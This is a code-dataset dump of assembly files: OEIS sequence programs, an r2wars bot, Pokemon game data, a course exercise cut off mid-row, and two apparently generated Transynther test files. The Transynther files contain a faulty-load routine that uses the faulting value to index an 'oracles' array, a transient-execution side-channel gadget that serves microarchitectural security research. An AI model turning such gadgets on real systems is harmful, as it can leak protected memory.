hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3c09b17713c0461272873ed3a103a06e544afa7c | 490 | asm | Assembly | programs/oeis/226/A226122.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/226/A226122.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/226/A226122.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A226122: Expansion of (1+2*x+x^2+x^3+2*x^4+x^5)/(1-2*x^3+x^6).
; 1,2,1,3,6,3,5,10,5,7,14,7,9,18,9,11,22,11,13,26,13,15,30,15,17,34,17,19,38,19,21,42,21,23,46,23,25,50,25,27,54,27,29,58,29,31,62,31,33,66,33,35,70,35,37,74,37,39,78,39
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
trn $0,1
seq $0,226023 ; A142705 (numerators of 1/4-1/(4n^2)) sorted to natural order.
add $0,1
mov $2,$3
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $5,1
mul $5,$4
sub $1,$5
mov $0,$1
| 22.272727 | 169 | 0.573469 |
745f8fd85ab67f63211bbea5f8d711c3a682c77b | 5,659 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_257.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_257.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_257.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1dd78, %r13
nop
nop
nop
nop
and $60312, %r8
vmovups (%r13), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r14
nop
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0x1b89a, %r11
nop
nop
dec %rdx
vmovups (%r11), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r12
nop
nop
xor %r13, %r13
lea addresses_UC_ht+0x16cf2, %rsi
lea addresses_UC_ht+0x1c39b, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
nop
sub %r8, %r8
mov $17, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $35992, %r13
lea addresses_D_ht+0x3afa, %r11
nop
sub %rcx, %rcx
movw $0x6162, (%r11)
nop
xor $3508, %rdx
lea addresses_UC_ht+0xc27a, %r11
nop
nop
add $15772, %r14
mov (%r11), %cx
nop
nop
nop
nop
add $25479, %r12
lea addresses_WT_ht+0x1cb34, %r12
clflush (%r12)
xor $26390, %rdi
mov (%r12), %r11
nop
xor $43334, %r13
lea addresses_D_ht+0xed7a, %rcx
nop
nop
sub $26302, %rdi
mov (%rcx), %r8d
nop
nop
nop
and $35928, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %rbx
// Faulty Load
lea addresses_WT+0xdf7a, %r15
nop
nop
nop
cmp %r14, %r14
mov (%r15), %r10d
lea oracles, %r14
and $0xff, %r10
shlq $12, %r10
mov (%r14,%r10,1), %r10
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 40.421429 | 2,999 | 0.657183 |
54f0656b5b016766b3956d4677a54ab4638f07c5 | 250 | asm | Assembly | t_pageflt-v1.1.x86-32.asm | pageflt/r2wars-2018 | c2963b09189ca88a8e5a71f5746db03a3bf5a38d | [
"MIT"
] | null | null | null | t_pageflt-v1.1.x86-32.asm | pageflt/r2wars-2018 | c2963b09189ca88a8e5a71f5746db03a3bf5a38d | [
"MIT"
] | null | null | null | t_pageflt-v1.1.x86-32.asm | pageflt/r2wars-2018 | c2963b09189ca88a8e5a71f5746db03a3bf5a38d | [
"MIT"
] | 1 | 2020-08-18T07:45:33.000Z | 2020-08-18T07:45:33.000Z | ; r2wars 2018
; Dimitris Karagkasidis (@t_pageflt)
mov eax, 0xc3c3c3c3
mov ebx, eax
mov ecx, eax
mov edx, eax
mov edi, 32
mov ebp, 0x3fc
mov edx, 1014
mov esp, edx
mov esi, 1015
mov [esi], 0x7ffc3960
mov [esi+4], 0xffd489fb
mov [esi+8], 0xe6
jmp esi
| 15.625 | 36 | 0.72 |
61ab9303e4ecd73ce04a34eaa766cab1ee66d4f8 | 415 | asm | Assembly | oeis/330/A330175.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/330/A330175.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/330/A330175.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A330175: a(n) = n + floor(ns/r) + floor(nt/r), where r = sqrt(5) - 2, s = sqrt(5) - 1, t = sqrt(5).
; Submitted by Jon Maiga
; 15,30,46,61,78,93,109,124,141,156,172,187,204,219,235,250,267,282,297,313,328,345,360,376,391,408,423,439,454,471,486,502,517,534,549,564,580,595,612,627,643,658,675,690,706,721,738,753,769,784,801,816,832
mul $0,4
add $0,4
seq $0,284395 ; Positions of 1 in A284394.
div $0,2
sub $0,1
| 41.5 | 207 | 0.660241 |
779ff9779a1e9c07816368b4e8d03f15342f53a1 | 693 | asm | Assembly | programs/oeis/033/A033312.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/033/A033312.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/033/A033312.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A033312: a(n) = n! - 1.
; 0,0,1,5,23,119,719,5039,40319,362879,3628799,39916799,479001599,6227020799,87178291199,1307674367999,20922789887999,355687428095999,6402373705727999,121645100408831999,2432902008176639999,51090942171709439999,1124000727777607679999,25852016738884976639999,620448401733239439359999,15511210043330985983999999,403291461126605635583999999,10888869450418352160767999999,304888344611713860501503999999,8841761993739701954543615999999,265252859812191058636308479999999,8222838654177922817725562879999999,263130836933693530167218012159999999
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
sub $0,1
| 115.5 | 536 | 0.867244 |
60f6ffe11f38a2cdeab69b45b43d13d05e64a560 | 709 | asm | Assembly | scripts/Route2Gate.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | scripts/Route2Gate.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | scripts/Route2Gate.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | Route2Gate_Script:
jp EnableAutoTextBoxDrawing
Route2Gate_TextPointers:
dw Route2GateText1
dw Route2GateText2
Route2GateText1:
text_asm
CheckEvent EVENT_GOT_HM05
jr nz, .got_item
ld a, 10
ldh [hOaksAideRequirement], a
ld a, HM_FLASH
ldh [hOaksAideRewardItem], a
ld [wd11e], a
call GetItemName
ld hl, wcd6d
ld de, wOaksAideRewardItemName
ld bc, ITEM_NAME_LENGTH
call CopyData
predef OaksAideScript
ldh a, [hOaksAideResult]
cp OAKS_AIDE_GOT_ITEM
jr nz, .no_item
SetEvent EVENT_GOT_HM05
.got_item
ld hl, Route2GateText_5d616
call PrintText
.no_item
jp TextScriptEnd
Route2GateText_5d616:
text_far _Route2GateText_5d616
text_end
Route2GateText2:
text_far _Route2GateText2
text_end
| 17.725 | 31 | 0.812412 |
ae6c9c85d72178a9f46aaf46f2015cccbbe70d2b | 465 | asm | Assembly | data/pokemon/base_stats/sinnoh/glaceon.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | null | null | null | data/pokemon/base_stats/sinnoh/glaceon.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | null | null | null | data/pokemon/base_stats/sinnoh/glaceon.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | null | null | null | db 0 ; 471 DEX NO
db 65, 60, 110, 65, 130, 95
; hp atk def spd sat sdf
db ICE, ICE ; type
db 45 ; catch rate
db 196 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F12_5 ; gender ratio
db 100 ; unknown 1
db 35 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/sinnoh/glaceon/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_GROUND, EGG_GROUND ; egg groups
; tm/hm learnset
tmhm
; end
| 21.136364 | 53 | 0.664516 |
5fa828cf075326898815df3941a37f1d230f5a8b | 7,886 | asm | Assembly | Transynther/x86/_processed/NC/_ht_zr_/i7-8650U_0xd2.log_21829_1229.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_ht_zr_/i7-8650U_0xd2.log_21829_1229.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_ht_zr_/i7-8650U_0xd2.log_21829_1229.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1c824, %rbx
clflush (%rbx)
inc %r10
mov (%rbx), %rdx
nop
nop
nop
nop
inc %r11
lea addresses_WT_ht+0x16c24, %rbx
clflush (%rbx)
nop
nop
nop
nop
cmp %r12, %r12
movb (%rbx), %al
nop
sub %rdx, %rdx
lea addresses_normal_ht+0x1ee4b, %r11
nop
nop
nop
nop
sub $54271, %rdi
movups (%r11), %xmm3
vpextrq $1, %xmm3, %r10
nop
sub $39895, %rbx
lea addresses_WC_ht+0xec54, %r12
nop
add $62052, %rdi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
movups %xmm6, (%r12)
nop
nop
nop
nop
nop
dec %rax
lea addresses_D_ht+0x5ce4, %rdx
nop
nop
nop
nop
and $36381, %r12
movb (%rdx), %bl
add %rdi, %rdi
lea addresses_A_ht+0x12824, %rsi
lea addresses_A_ht+0x3f74, %rdi
nop
nop
nop
cmp $5198, %r10
mov $45, %rcx
rep movsb
nop
sub %rsi, %rsi
lea addresses_normal_ht+0x3824, %rax
nop
nop
nop
nop
nop
add $31306, %rdx
movl $0x61626364, (%rax)
nop
cmp $27799, %rdx
lea addresses_normal_ht+0x1c824, %r10
nop
nop
nop
nop
nop
and $13697, %rbx
vmovups (%r10), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rcx
nop
nop
nop
nop
and $57326, %rcx
lea addresses_UC_ht+0x190a4, %rdi
nop
nop
nop
xor %rdx, %rdx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm1
movups %xmm1, (%rdi)
nop
nop
nop
cmp $61465, %rdi
lea addresses_D_ht+0x1b624, %rdi
nop
nop
and $38769, %r11
movw $0x6162, (%rdi)
nop
nop
inc %rsi
lea addresses_UC_ht+0x3b24, %rsi
lea addresses_WC_ht+0x1dda4, %rdi
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov $49, %rcx
rep movsw
nop
nop
nop
nop
nop
dec %rcx
lea addresses_WT_ht+0x174fc, %r11
nop
dec %rax
mov $0x6162636465666768, %rbx
movq %rbx, %xmm5
vmovups %ymm5, (%r11)
and $36409, %rdi
lea addresses_WC_ht+0x1a344, %rsi
lea addresses_A_ht+0xe324, %rdi
cmp $52688, %rax
mov $2, %rcx
rep movsq
nop
sub $10885, %rcx
lea addresses_WT_ht+0xb464, %rax
and $38132, %rbx
movl $0x61626364, (%rax)
nop
nop
nop
nop
cmp $6602, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %rbx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_US+0x1b95c, %r10
nop
nop
cmp $19393, %rdx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm5
movups %xmm5, (%r10)
nop
nop
nop
nop
add $55345, %r10
// Faulty Load
mov $0x7e6db60000000824, %r11
nop
nop
add $45272, %rbx
movups (%r11), %xmm3
vpextrq $1, %xmm3, %r10
lea oracles, %rbx
and $0xff, %r10
shlq $12, %r10
mov (%rbx,%r10,1), %r10
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'00': 21724, '44': 41, '48': 47, '45': 17}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.700855 | 2,999 | 0.657241 |
8dc80dd2930d234daf2a5b2de45e95204c532991 | 1,702 | asm | Assembly | Etapa 02/Aula 11 - Ponto-Flutuante com SSE/codes/a11e04.asm | bellorini/unioeste | 8c3d1f1e26dc3680160820c7219954b6076c9d5e | [
"MIT"
] | 6 | 2021-11-03T20:19:10.000Z | 2022-02-23T17:57:58.000Z | Etapa 02/Aula 11 - Ponto-Flutuante com SSE/codes/a11e04.asm | bellorini/unioeste | 8c3d1f1e26dc3680160820c7219954b6076c9d5e | [
"MIT"
] | null | null | null | Etapa 02/Aula 11 - Ponto-Flutuante com SSE/codes/a11e04.asm | bellorini/unioeste | 8c3d1f1e26dc3680160820c7219954b6076c9d5e | [
"MIT"
] | 5 | 2022-02-02T15:48:45.000Z | 2022-02-22T18:17:52.000Z | ; Aula 11 - Ponto-Flutuante
; a11e04.asm
; Identifica maior float entre dois entrados pelo usuário
; nasm -f elf64 a11e04.asm ; gcc -m64 -no-pie a11e04.o -o a11e04.x
%define _exit 60
extern printf
extern scanf
section .data
pfstr1 : db "Entre dois floats (x.xx y.yy): ", 0
scstr1 : db "%f %f", 0
pfstr2 : db "Maior float é: %f", 10, 0
pfstrMaior : db "%f é maior do que %f", 10 ,0
pfstrMenor : db "%f é menor do que %f", 10 ,0
pfstrIguais : db "%f é igual a %f", 10 ,0
pfstrERRO : db "ERRO", 10, 0
section .bss
scfF1 : resd 1 ; float 1
scfF2 : resd 1 ; float 1
section .text
global main
main:
; stack-frame
push rbp
mov rbp, rsp
; eax = printf("Entre dois floats (x.xx y.yy): ", 1);
xor rax, rax
